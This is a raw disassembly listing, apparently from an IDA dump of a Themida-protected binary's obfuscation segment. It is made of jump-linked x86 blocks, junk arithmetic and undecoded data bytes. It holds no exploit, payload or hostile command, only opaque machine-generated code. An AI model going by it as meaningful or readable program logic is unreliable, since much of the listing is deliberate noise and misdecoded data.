loc_53E905:				; CODE XREF: Themida_:0053D5D0j
		xor	cl, dl
		pop	edx
		xor	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		dec	dh
		add	dh, 0FCh
		xor	al, dh
		jmp	loc_541E2D
; ---------------------------------------------------------------------------
		dd 5366C800h, 0DBF66CB3h, 0C3FED3F6h, 0EBC0D3F6h, 0DE7BE908h
		dd 0EF81FFFFh, 64816CA8h, 3E9C701h, 81FFFF8Bh, 7680242Ch
		dd 0E95D613Fh, 0FFFFD6F8h, 53EA875Ah, 0FFFFFFBBh, 5BDD01FFh
		dd 0FFCB76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E95D:				; CODE XREF: Themida_:0053D24Ej
		sub	edx, 0FFFFFFFFh
		jmp	loc_539B7D
; ---------------------------------------------------------------------------
		dd 284E95Fh, 83AD0000h,	0E900207Fh, 0FFFFB339h,	6B7A4AB9h
		dd 0E9CF294Dh, 0FFFFBA56h
; ---------------------------------------------------------------------------

loc_53E984:				; CODE XREF: Themida_:0053911Bj
		mov	eax, 1
		sub	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 1A323DB7h
		inc	ecx
		add	ecx, 0E5CDC24Ch
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ebx, 6
		jmp	loc_53F447
; ---------------------------------------------------------------------------

loc_53E9B3:				; CODE XREF: Themida_:005390B0j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_539923
; ---------------------------------------------------------------------------
		db 83h
		dd 0E7C104C4h, 98C78103h, 0E9DF710Ah, 11D8h, 7C13FFBFh
		dd 8BFA0962h, 0C481243Ch, 4, 0E907E2C1h, 39E6h,	808CB652h
		dd 536601C6h, 0FFDB7AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E9F5:				; CODE XREF: Themida_:00537142j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5396C9
; ---------------------------------------------------------------------------
		dw 2966h
		dd 66575DE8h, 66083568h, 0B58DE95Fh, 0C281FFFFh, 6B3974C5h
		dd 0EA81FA01h, 6B3974C5h, 2E74E9h, 0BB0F6600h, 0E99C2404h
		dd 0FFFF838Ah
; ---------------------------------------------------------------------------

loc_53EA38:				; CODE XREF: Themida_:005380D9j
		pop	esp
		jmp	loc_540614
; ---------------------------------------------------------------------------
		dw 0AD66h
		dd 478B6866h, 24348966h, 4CC4BE66h, 611B0566h, 66F00166h
		dd 66611B2Dh, 8124348Bh, 2C4h, 1471E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53EA66:				; CODE XREF: Themida_:0053B5CDj
		sub	edx, 10B87B88h
		not	edx
		or	edx, 47D87AF2h
		shr	edx, 2
		and	edx, 0FB372B2h
		sub	edx, 9E05DE01h
		sub	edi, edx
		pop	edx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_53A783
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 3304C183h, 0C31240Ch, 0DA51E924h,	0EE80FFFFh, 0C0D6F6FFh
		dd 0D2E907E6h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EAB3:				; CODE XREF: Themida_:0053D9B9j
		or	eax, eax
		jz	loc_53E768
		push	dword ptr [edi+1Ch]
		push	0C7Bh
		jmp	loc_53DF80
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 4EC81h, 14890000h,	0F3F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EAE2:				; CODE XREF: Themida_:0053C28Ej
		inc	edi
		push	esi
		mov	esi, 0E5804B08h
		xor	edi, esi
		pop	esi
		sub	edx, 56235EB0h
		add	edx, edi
		add	edx, 56235EB0h
		pop	edi
		xor	edx, 0B38FCE1Fh
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_53753B
; ---------------------------------------------------------------------------
		db 1
		dd 0BC581FDh, 81602454h, 0A43553C5h, 243C8B4Fh,	0FFBD4CE9h
		dd 243C89FFh, 594268h, 24348900h, 4117E9h, 24348700h, 0FFF42EE9h
		dd 2434FFFFh, 83240C8Bh, 545704C4h, 4C7815Fh, 83000000h
		dd 3C8704C7h, 0BD555C24h, 44103D7Bh, 0EFC28568h, 0B9515BBBh
		dd 76E302CDh, 0E908E9C1h, 0FFFFADACh, 348BF289h, 4C48324h
		dd 38EE9h, 44EFBD00h, 0F5816174h, 617444EDh, 2C3AE9h
		db 0
; ---------------------------------------------------------------------------

loc_53EB89:				; CODE XREF: Themida_:0053CBC8j
		xor	bl, 0BEh
		sub	bl, 8Fh
		jmp	loc_53FEB3
; ---------------------------------------------------------------------------

loc_53EB94:				; CODE XREF: Themida_:00541342j
		and	edi, 3C6B4262h
		xor	edi, 10000004h
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_5422C7
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 2Ch
		dd 0E479E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EBB2:				; CODE XREF: Themida_:0053A9E6j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_542C97
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C4h, 24248B24h,	108FE9h
		db 0
; ---------------------------------------------------------------------------

loc_53EBD1:				; CODE XREF: Themida_:00541081j
		add	edx, 1186139Fh
		add	edx, edi
		sub	edx, 1186139Fh
		sub	edx, 2FAD6F46h
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_541851
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 65BE02E1h, 815FFE01h, 4ECh, 0E7BE900h, 0C5810000h, 7832AF8h
		dd 0D666ED81h, 0E9890EFEh, 0FFF712E9h, 6D5C05FFh, 0C8011D73h
		dd 58CE68h, 240C8900h, 172001B9h, 4E1C100h, 0FF9C2CE9h
		dd 2DCA68FFh, 14890000h, 66C66824h, 24890000h, 24048324h
		dd 0C2815A04h, 4, 44AAB951h, 0E941676Eh, 1918h,	0D90CA9BDh
		dd 56F5814Dh, 0D139146Ah, 0D267E9EDh, 0C381FFFFh, 4, 8704C383h
		dd 9FE9241Ch, 88FFFFCCh, 5BFC88CFh, 0FFB54FE9h,	241489FFh
		dd 212DE9h, 2F376800h, 14890000h, 3FEBBA24h, 0F2816AC2h
		dd 7B105414h, 6BFBEA81h, 0B85011D2h, 0E983F11h,	3540D0F7h
		dd 671A2146h, 0E8C1D8F7h, 68302D08h, 0C501E3AAh, 0FF96F7E9h
		dd 0C1EA81FFh, 1A47021h, 24148BD3h, 4C481h, 33580000h
		dd 1C31241Ch, 241C3324h, 0FF9F67E9h, 268FFh, 3C8B0000h
		dd 4C48324h, 1747C181h,	0F9012F19h, 1747E981h, 3C8B2F19h
		dd 4C48324h, 5C240C87h,	0FFE665E9h, 0E92DB2FFh,	0FFFFCB71h
		dd 83242C8Bh, 4F0904C4h, 2AD0E91Ch, 0C2800000h,	0FDE2803Ch
		dd 2562E9h, 81E28900h, 4C2h, 4EC8100h, 89000000h, 2BB241Ch
		dd 1000000h, 241C8BDAh,	5204C483h, 42474FFh, 5124148Bh
		dd 0C181E189h, 4, 1FF9BD55h, 0E5812F79h, 4A587941h, 193DED81h
		dd 7DE90A58h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53ED77:				; CODE XREF: Themida_:0053D43Bj
		xchg	edx, ebp
		push	edx
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	edx
		jmp	loc_53C7A2
; ---------------------------------------------------------------------------
		dd 24148B54h, 0FFBCBDE9h, 2434FFFFh, 592434FFh,	19FA68h
		dd 35A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53EDA2:				; CODE XREF: Themida_:0053C37Ej
		mov	esp, [esp]
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		dw 36B8h
		dd 310CF376h, 87E958C6h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EDB7:				; CODE XREF: Themida_:00540756j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_53AAA3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0D2F60000h, 0EA80C2FEh, 26DBE9A3h, 70B80000h
		dd 2974687Eh, 24048BC3h, 4C481h, 0FB010000h, 0C44BF57h
		dd 0E7C15FDDh, 0BE564704h, 60380594h, 0FFE698E9h, 243431FFh
		dd 8B243433h, 89662424h, 50662414h, 7FACE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EE16:				; CODE XREF: Themida_:0053E13Aj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53CF3E
; ---------------------------------------------------------------------------

loc_53EE1F:				; CODE XREF: Themida_:0053B22Bj
		mov	bh, 32h
		mov	dh, bh
		jmp	loc_541658
; ---------------------------------------------------------------------------
		dd 0B281E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EE2E:				; CODE XREF: Themida_:0053DADEj
		shl	edi, 3
		dec	edi
		jmp	loc_54034C
; ---------------------------------------------------------------------------
aHa_0		db '[ha$',0
		dd 240C8900h, 376E7FB9h, 387CE978h, 0EC810000h,	4, 0B8240489h
		dd 46B45689h, 3D79F3BDh, 0A253E94Fh, 34FFFFFFh,	3BC4E924h
		dd 0C2800000h, 5AD43020h, 0FFD84CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EE75:				; CODE XREF: Themida_:00537703j
		pop	ebp
		not	ebp
		add	ebp, 7CF05A05h
		sub	ebp, 15887740h
		sub	ebp, 9F94762Ch
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 8
		jmp	loc_53AC30
; ---------------------------------------------------------------------------

loc_53EE95:				; CODE XREF: Themida_:00539804j
		and	edx, 204C4B6Ch
		push	ebx
		mov	ebx, 5FA33B80h
		jmp	loc_53F927
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 0B571E990h, 0C87FFFFh, 89515C24h, 0E28952E1h, 4C281h
		dd 3CE90000h, 0B2FFFFE2h, 0A66CE9C4h, 4ABFFFFFh, 8135155Eh
		dd 0E1656BE7h, 0DFF74734h, 0BEA2E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EEDE:				; CODE XREF: Themida_:00540426j
		xchg	ebp, edi
		jmp	loc_5403E9
; ---------------------------------------------------------------------------
		db 0BFh, 0FBh, 65h
		dd 0EC81622Dh, 4, 68242C89h, 399E54D3h,	3862E9h, 32E96800h
		dd 14E90000h, 0F7000004h, 3AA5E9D2h, 565C0000h,	2BEh, 31C58100h
		dd 0E95D127Bh, 0FFFF9361h
; ---------------------------------------------------------------------------

loc_53EF20:				; CODE XREF: Themida_:0053DB14j
		push	edx
		push	eax
		mov	eax, 3CFD57E9h
		neg	eax
		or	eax, 440251A1h
		shr	eax, 2
		shr	eax, 6
		add	eax, 4C6E44B0h
		mov	edx, 0B731C378h
		add	edx, eax
		pop	eax
		sub	edx, 1
		shr	edx, 2
		neg	edx
		push	ecx
		jmp	loc_53D20F
; ---------------------------------------------------------------------------
		db 66h
		dd 6BE9028Fh, 81FFFF7Eh, 7F4367EDh, 0E9C50156h,	2459h
		dd 0EC835259h, 24348904h, 9802D0BEh, 81DEF71Ah,	0A914E0CEh
		dd 6BE68104h, 81335120h, 90965C6h, 0FBE2E9EBh, 91B9FFFFh
		dd 29525561h, 9671E9C8h, 0C29FFFFh, 242C8124h, 65D223D4h
		dd 1EC98159h, 8111E140h, 0FFD33BF1h, 2992E9D1h,	9A0D0000h
		dd 351C271Dh, 9FA77D99h, 0FFDE26E9h, 8B665AFFh,	0C4812414h
		dd 2, 5F916866h, 0FFAD16E9h, 67C680FFh,	8004EEC0h, 0EED0F4CEh
		dd 8078EE80h, 0F02833F6h, 1D54E9h, 24248900h, 4240483h
		dd 0B0E9515Ah, 68FFFFBCh, 35Eh,	50242489h, 4B8h, 24440100h
		dd 0D170E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F012:				; CODE XREF: Themida_:00539A6Fj
		pop	ebx
		jmp	loc_5411E1
; ---------------------------------------------------------------------------

loc_53F018:				; CODE XREF: Themida_:0053CDE2j
		or	eax, eax
		jz	loc_5375F8
		push	dword ptr [edi+1Ch]
		push	0E6Ch
		mov	[esp], eax
		push	38300E0h
		pop	eax
		add	dword ptr [esp+4], 6DE94B0Dh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 6DE94B0Dh
		pop	eax
		jmp	loc_53FDD0
; ---------------------------------------------------------------------------
		db 0B8h
		dd 22F81h, 8158C729h, 0A43553EDh, 0BED814Fh, 0E9602454h
		dd 0FFFFFAA7h, 0F7E9C701h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F06B:				; CODE XREF: Themida_:00541833j
		mov	ebp, 856E5F9Bh
		sub	edi, ebp
		pop	ebp
		push	edi
		add	dword ptr [esp], 59D46004h
		pop	eax
		jmp	loc_537D1A
; ---------------------------------------------------------------------------

loc_53F081:				; CODE XREF: Themida_:00537169j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5388CC
; ---------------------------------------------------------------------------

loc_53F08F:				; CODE XREF: Themida_:0053C22Cj
		push	esp
		pop	ebx
		push	eax
		jmp	loc_538658
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28106EAh, 3A205AC0h, 75E2814Ah, 504E2957h,	59494AB8h
		dd 0C4AEE933h, 8957FFFFh, 8EC7E9DFh, 0E389FFFFh, 4C381h
		dd 0BD550000h, 2, 4E08EB81h, 0BE560463h, 4BC639EAh, 8146DEF7h
		dd 9120DE6h, 0F681460Eh, 3C523589h, 348BF329h, 4C48324h
		dd 0C381EB01h, 385B378Fh, 4E08C381h, 34FF0463h,	0C4835D24h
		dd 4EC8104h, 89000000h,	80E9241Ch, 89FFFFA2h, 0B9512424h
		dd 4, 4244C01h,	2434FF59h, 4C4815Fh, 81000000h,	4C7h, 4EC8300h
		dd 0E9243489h, 973h
; ---------------------------------------------------------------------------

loc_53F138:				; CODE XREF: Themida_:0053DD55j
		sub	esi, 70F3B34Dh
		jmp	loc_53D06C
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF9AD6E9h, 525051FFh, 0F0E9FE88h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F153:				; CODE XREF: Themida_:0053B23Ej
		push	ecx
		jmp	loc_5372FF
; ---------------------------------------------------------------------------

loc_53F159:				; CODE XREF: Themida_:0053902Dj
		mov	[esp], edx
		mov	edx, 800h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_537F48
; ---------------------------------------------------------------------------
		dd 74FF505Dh, 8F580424h, 248B2404h, 4C48324h, 5A2434FFh
		dd 4A3E952h, 4BD0000h, 1000000h, 0EA835DEAh, 24148704h
		dd 240C895Ch, 1B9h, 0E0895000h,	405h, 4E88300h,	8B240487h
		dd 0FBE92424h, 1FFFFE2h, 97ED81D5h, 0FF4B8506h,	815A2434h
		dd 4C4h, 2C58100h, 87000000h, 665C242Ch, 9C2404FFh, 0FF7BD9E9h
		dd 7BD4E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F1EE:				; CODE XREF: Themida_:0053ADBBj
		push	edi
		mov	edi, esi
		mov	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	163Fh
		mov	[esp], esi
		jmp	loc_542066
; ---------------------------------------------------------------------------

loc_53F20D:				; CODE XREF: Themida_:00537AAAj
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ecx
		push	edx
		jmp	loc_538938
; ---------------------------------------------------------------------------

loc_53F21A:				; CODE XREF: Themida_:0053DD69j
		xchg	edi, [esp]
		pop	esp

loc_53F21E:				; CODE XREF: Themida_:0053E860j
					; Themida_:005422FDj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_542B7B
; ---------------------------------------------------------------------------
		dd 48416855h, 15D3521h,	12E95DEAh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F23F:				; CODE XREF: Themida_:0053CF46j
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		dd 0D473B3BFh, 0E9FE3105h, 2CE7h, 67592205h, 0C378E94Ah
		dd 0E829FFFFh, 81242C8Bh, 4ECh,	240C8900h, 0C8E9E189h
		dd 5AFFFF9Fh, 0FFECCFE9h, 241C33FFh, 117AE9h, 1C77FF00h
		dd 0D359669Dh, 0E99C2414h, 0FFFF7B36h, 4C781h, 0FF570000h
		dd 5F042474h, 5C24048Fh, 0F0000B2Ch, 0FFE719E9h, 7B18E9FFh
		dd 0E950FFFFh, 1FA6h, 0EE80DEF6h, 80CEFE2Eh, 0F7286CF6h
		dd 0FFED70E9h, 2DD801FFh, 49BB76C1h, 74FF505Bh,	8F580424h
		dd 248B2404h, 0C0B15124h, 3FE968h, 0D8BBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F2E2:				; CODE XREF: Themida_:00538768j
		mov	[esp], edx
		jmp	loc_54158C
; ---------------------------------------------------------------------------
		dw 0D3E9h
		dd 54FFFF7Ah, 3489E95Dh, 0E9800000h, 4DEE9A3h, 0E95A0000h
		dd 0FFFFFE3Fh
; ---------------------------------------------------------------------------

loc_53F304:				; CODE XREF: Themida_:00540322j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_53A3F3
; ---------------------------------------------------------------------------
		db 89h
		dd 1B1240Ch, 0FF7E56E9h, 4C781FFh, 56000000h, 0FF974DE9h
		dd 8BD001FFh, 8AE92414h, 66FFFFEBh, 0BD93E959h,	0C481FFFFh
		dd 4, 0FFA669E9h, 48B66FFh, 39685124h, 8900003Ch, 4812424h
		dd 424h, 0EC815900h, 4,	0BD242C89h, 4, 443BBF57h, 0C7810EB1h
		dd 381B2D32h, 3C78EF81h, 0EFD12AA9h, 0F781D7F7h, 8BBA4CC2h
		dd 15FF901h, 47E981E9h,	5D7A5429h, 0C9ABB53h, 0E3C129E7h
		dd 2C38107h, 0E90C79B3h, 0FFFF8AA3h, 24048B66h,	815F5457h
		dd 4C7h, 42E95100h, 0AC00002Dh,	0DBB35351h, 8826C380h
		dd 1985E9DDh, 1C890000h, 47DDBB24h, 1FE90262h, 0B1000029h
		dd 7BEB802Eh, 28B3EB80h, 0B3C380CBh, 2946E951h,	50550000h
		dd 253ADF68h, 0D8F75862h, 997E632Dh, 58C5894Dh,	2CE58145h
		dd 0E91FD84Bh, 0FFFFBC49h
; ---------------------------------------------------------------------------

loc_53F40C:				; CODE XREF: Themida_:00540E1Cj
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		push	esi
		push	ebx
		pop	esi
		push	dword ptr [esp]
		jmp	loc_53C80F
; ---------------------------------------------------------------------------

loc_53F421:				; CODE XREF: Themida_:0053C80Aj
		add	ecx, edi
		sub	ecx, 24C30E33h
		pop	edi
		jmp	loc_537DC5
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0D1E904ECh, 59FFFFEDh, 34EAE9h, 33C86800h, 0F8E90000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53F447:				; CODE XREF: Themida_:0053E9AEj
		sub	ebx, 1CC700Ch
		mov	ebp, ebx
		jmp	loc_5427CE
; ---------------------------------------------------------------------------
		dd 4F60BB53h, 0D3F74491h, 6A2ACB81h, 0E3810229h, 66B31EF7h
		dd 0FFEB41E9h, 0DCC381FFh, 8B101078h, 0C4832414h, 0A728E904h
		dd 8350FFFFh, 58E904ECh, 8700002Ch, 0BAE92414h,	8100000Fh
		dd 0C4720DF2h, 0C9C2810Dh, 0E981DC20h, 11D8h
; ---------------------------------------------------------------------------

loc_53F4A0:				; CODE XREF: Themida_:0053CDBCj
		push	edx
		mov	edx, 2581F26h
		sub	edx, 2581F22h
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 4C707EB0h
		mov	edx, 2C980ECFh
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_537C5C
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8704E983h, 7DE9240Ch
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F4DF:				; CODE XREF: Themida_:0053CE44j
		sub	edx, 54AA62CCh
		sub	edx, edi
		add	edx, 54AA62CCh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_536DC2
; ---------------------------------------------------------------------------

loc_53F4F9:				; CODE XREF: Themida_:00537612j
		push	esp
		pop	edi
		push	ebp
		push	edx
		mov	edx, 4
		push	edx
		pop	ebp
		pop	edx
		add	edi, ebp
		pop	ebp
		jmp	loc_53BB26
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
		dd 26E9h, 240C8B66h, 148B5452h,	9837E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F522:				; CODE XREF: Themida_:005394B4j
		mov	[esp], ebp
		pop	eax
		jmp	loc_53D43A
; ---------------------------------------------------------------------------
		db 50h
		dd 0D4B1C2B8h, 58C531EFh, 656DC181h, 0E9011B73h, 0FFCCADE9h
		dd 8BF801FFh, 0C483243Ch, 2BB5304h, 1000000h, 0A36E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53F556:				; CODE XREF: Themida_:0053F77Ej
		pop	ecx
		mov	eax, esi
		jmp	loc_53B3CA
; ---------------------------------------------------------------------------
aPVBh		db 'P╦V#:Bh',0
		align 4
		dd 24042900h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_5394A3
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0ABC685Ch, 34890000h
		dd 2E216824h, 3C890000h, 841BF24h, 0BB531016h, 34021538h
		dd 146809BEh, 9FC68155h, 0E902D271h, 0FFFFD812h, 48BC688h
		dd 4C48124h, 2C000000h,	4F028FCh, 32C7E9FCh, 0C3810000h
		dd 7CAD1FD6h, 4C3815Eh,	87000000h, 0BE9241Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53F5E3:				; CODE XREF: Themida_:0053A05Bj
		add	esp, 4
		jmp	loc_53FB12
; ---------------------------------------------------------------------------
		db 87h
		dd 645C2414h, 0CBE90288h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F5F7:				; CODE XREF: Themida_:0053BA60j
		pop	esi
		dec	edi
		xor	edi, 883BCF02h
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 1EDDE695h
		add	ebx, ecx
		jmp	loc_539A66
; ---------------------------------------------------------------------------
		dd 5FF78058h, 0FC885066h, 8852D4F6h, 5AF788E6h,	0B4505866h
		dd 34C7808Ah, 0EF80E700h, 2434FF34h, 0FF932DE9h, 81E289FFh
		dd 4C2h, 4EA8100h, 0E9000000h, 0FFFFFE3Bh
; ---------------------------------------------------------------------------

loc_53F64C:				; CODE XREF: Themida_:0053C0BAj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5401E0
; ---------------------------------------------------------------------------
		db 68h
		dd 2A20h, 0FF88CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53F66D:				; CODE XREF: Themida_:0053944Aj
		push	232Ah
		jmp	loc_53D8FA
; ---------------------------------------------------------------------------

loc_53F677:				; CODE XREF: Themida_:005389B2j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0C8F2180h
		jmp	loc_53D042
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0B7E95C24h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F6A3:				; CODE XREF: Themida_:0053A7B5j
		add	ebx, 0A204104h
		mov	edx, ebx
		jmp	loc_542C34
; ---------------------------------------------------------------------------

loc_53F6B0:				; CODE XREF: Themida_:00538A24j
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_53CC93
; ---------------------------------------------------------------------------
		dd 2EC83ACh, 0FFDFFAE9h, 348156FFh, 534CF524h, 0F535580Ch
		dd 8B0C534Ch, 0C4812434h, 4, 34FFC329h,	0EC815824h, 4
		dd 0E9241C89h, 0FFFF8B5Bh, 601EE1BDh, 0E9E8015Ch, 0FFFF8CEDh
; ---------------------------------------------------------------------------

loc_53F704:				; CODE XREF: Themida_:0053BFEDj
		pop	ebp
		pop	eax
		push	esi
		push	4BE237DBh
		mov	esi, [esp]
		add	esp, 4
		add	eax, 64214FCCh
		add	eax, esi
		sub	eax, 64214FCCh
		jmp	loc_53A857
; ---------------------------------------------------------------------------

loc_53F726:				; CODE XREF: Themida_:00542BDBj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_53B07E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5456240Ch, 76BA525Eh, 0C17BF77Bh, 0EA8102EAh, 1EFDDED9h
		dd 535AD601h, 4A0945BBh, 0B4F5E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F756:				; CODE XREF: Themida_:00539A56j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5395C0
; ---------------------------------------------------------------------------

loc_53F763:				; CODE XREF: Themida_:00542C43j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5417F7
; ---------------------------------------------------------------------------

loc_53F777:				; CODE XREF: Themida_:0053B325j
		mov	ecx, 3B8D1C10h
		xor	esi, ecx
		jmp	loc_53F556
; ---------------------------------------------------------------------------
		db 5Eh
		dd 81242C8Bh, 4C4h, 240C3300h, 33240C31h, 15C240Ch, 0E99C2404h
		dd 0FFFF7622h, 4C381h, 0EC830000h, 242C8904h, 156CA6BDh
		dd 0D2ED815Fh, 0F769907Ah, 81D5F7DDh, 84F1CFEDh, 0CDC381F5h
		dd 295E5408h, 0CDEB81EBh, 5D5E5408h, 0FFD9A2E9h, 0E919B2FFh
		dd 0FFFFF54Ah, 0E914E980h, 10E1h, 52EFF780h, 0B6FDB551h
		dd 9F92E9F8h, 0C380FFFFh, 1DFEE94Ah, 0C8B0000h,	4C48324h
		dd 5C24048Fh, 81E68956h, 4C6h, 4C68300h, 8B243487h, 35E92424h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F81B:				; CODE XREF: Themida_:0053DB27j
		xor	ecx, 0AA856638h
		sub	esi, 25BC44F5h
		add	esi, ecx
		jmp	loc_53A068
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 766FBA52h, 6BE91F8Ch, 59FFFFC4h, 571DB951h, 0E94114AEh
		dd 0FFFFA6D0h
; ---------------------------------------------------------------------------

loc_53F848:				; CODE XREF: Themida_:005397A9j
		sub	edx, 676424EFh
		add	edx, 0B7C39445h
		sub	ebx, edx
		jmp	loc_53888A
; ---------------------------------------------------------------------------
		db 81h
		dd 2600FAF3h, 0D3F74B4Dh, 1230C381h, 0D8298672h, 8376E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F872:				; CODE XREF: Themida_:0053CACFj
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_53D4F0
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 2
		dd 1000000h, 24348BF0h,	4C481h,	4870000h, 8B665C24h, 0EC83240Ch
		dd 24348904h, 0FF8458E9h, 8B05ADFFh, 294AA63Bh,	2DBF57D8h
		dd 504B6F03h, 0A8557BB8h, 1D1D2D5Ah, 0EF815B71h, 9083FB8h
		dd 0FFF06DE9h, 59CE01FFh, 31243433h, 0EE92434h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F8D3:				; CODE XREF: Themida_:00542DE6j
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, eax
		add	[ecx], esi
		jmp	loc_537517
; ---------------------------------------------------------------------------

loc_53F8E4:				; CODE XREF: Themida_:00542E33j
		xor	eax, ecx
		jmp	loc_537B24
; ---------------------------------------------------------------------------
		db 80h
		dd 0C30023EBh, 8904EC83h, 0B450240Ch, 0F650665Fh, 66012454h
		dd 1BDBE958h, 46680000h, 89000043h, 5A68240Ch, 0E9000043h
		dd 0FFFFBC3Fh, 9FE95758h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F91F:				; CODE XREF: Themida_:0053FEC0j
		pop	edx
		add	al, 69h
		jmp	loc_54205D
; ---------------------------------------------------------------------------

loc_53F927:				; CODE XREF: Themida_:0053EEA1j
		shr	ebx, 6
		add	ebx, 0C8C2A04h
		push	esi
		mov	esi, 7EAB507Fh
		sub	ebx, esi
		jmp	loc_5379CD
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 54h
		dd 0F800B904h, 0E95BB92Ch, 3294h, 3A9ABF57h, 0F8297A06h
		dd 0E0C1405Fh, 9E690506h, 0E9500EE4h, 0FFFFEFDBh, 240C8B66h
